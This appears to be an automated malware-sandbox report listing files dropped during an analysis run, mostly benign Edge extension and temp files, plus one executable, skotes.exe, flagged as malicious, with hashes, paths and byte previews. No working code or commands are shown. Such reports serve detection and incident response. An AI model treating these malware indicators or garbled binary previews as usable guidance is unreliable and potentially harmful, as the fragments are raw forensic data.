..)..........X..............@...ettnbbde......1......Z..............@...lbelwvmk......K......"..............@....taggant.0....K.."...&..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\41881d7e-c420-472f-9882-41ec15a442b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\4418a1c1-f71d-4ed9-bb43-f5cc0882e8ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\85ab73aa-31c6-40ba-ac30-0a48fc7aea22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1535065
Entropy (8bit):	7.992527179749908
Encrypted:	true
SSDEEP:	24576:CIoDRTevfIw8tIIpGUD5VGHD9IIfQY3go5JVFy9+jRpdcbNoTMGtHSdFAX3dr4rr:YNQfQ3GUD5VGJYYXfVFyORPINoTM+STh
MD5:	7E09F6412712F9AD23D22C44175FB841
SHA1:	4A02B28896471FF13F65CF71A007A98BF7C720EA
SHA-256:	7DA01D4452B5EB3E2456528640DEE60025D3BAC4B43B2B4E63D791485A58F7A0
SHA-512:	44D492AD34B90DB91ED10F19722DECE8922CB17752110B39D206295BE91E0341D934868D7BD5C0A40D38FBF68C9AF421775DF479BC63156FE18DC3A4B048EFEA
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\937d9c70-550d-46d3-af4c-e0cd221059c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a3483c45-6ba8-4b6a-8495-195e9dd1a1bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsJDGCGHCGHC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.950712593238817
Encrypted:	false
SSDEEP:	49152:JzqRbJAOwImTwJuvYsiI5kDbZF6j9FWHK:wRVA8xobiI566j9Aq
MD5:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
SHA1:	694124BF2E8D817B7F188706BBC49D0088317FE2
SHA-256:	D4E13FAEFC09EB85BE337713E8899E9F6761D45593E33D19B14AC6F986B2A103
SHA-512:	82B990CE963247C140161CE9AB28C79C5B4D648DDF46D622E152E3C0D79842BE1CF1009A493B7AF37B83976F36C05B56E353C6F7166DFC701979F87447F51FAD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL.....-.....@.................................W...k.......D.....................L.............................<.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...dkmnrssd.@....1..4..................@...tqafgssw......L......*..............@....taggant.0... L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b38f6c6c-4c1f-4ed0-ab27-70a4acfb2549.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.403021988569284
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0XFS5zi0MH5M:JIVuwEw5MUFZLBQLtqSCM
MD5:	D4132982936823976B0E1A3430F3CAC2
SHA1:	FFC8EB063960E7226622EF5FBDFD1F8D29935BC2
SHA-256:	C5B8B87708FC92536C3F3615FD7AFE9DC386E33FE9B88CE5FB6431C1B3443EE5
SHA-512:	9B5BD4F4D93B6D86A18FEB402AB6C18613138F717C889CDAC62AAAE8CAF06EEF570AC46D52DBCE6DA49F5667DE65487B1DF6B5D92176D2E72CADA575DDC6ABDA
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\f2e7b281-5bf7-4eb5-ae3c-87f701a0536f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1668_1096916990\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1668_1096916990\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1668_1096916990\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1668_1096916990\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_1096916990\f2e7b281-5bf7-4eb5-ae3c-87f701a0536f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\4418a1c1-f71d-4ed9-bb43-f5cc0882e8ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
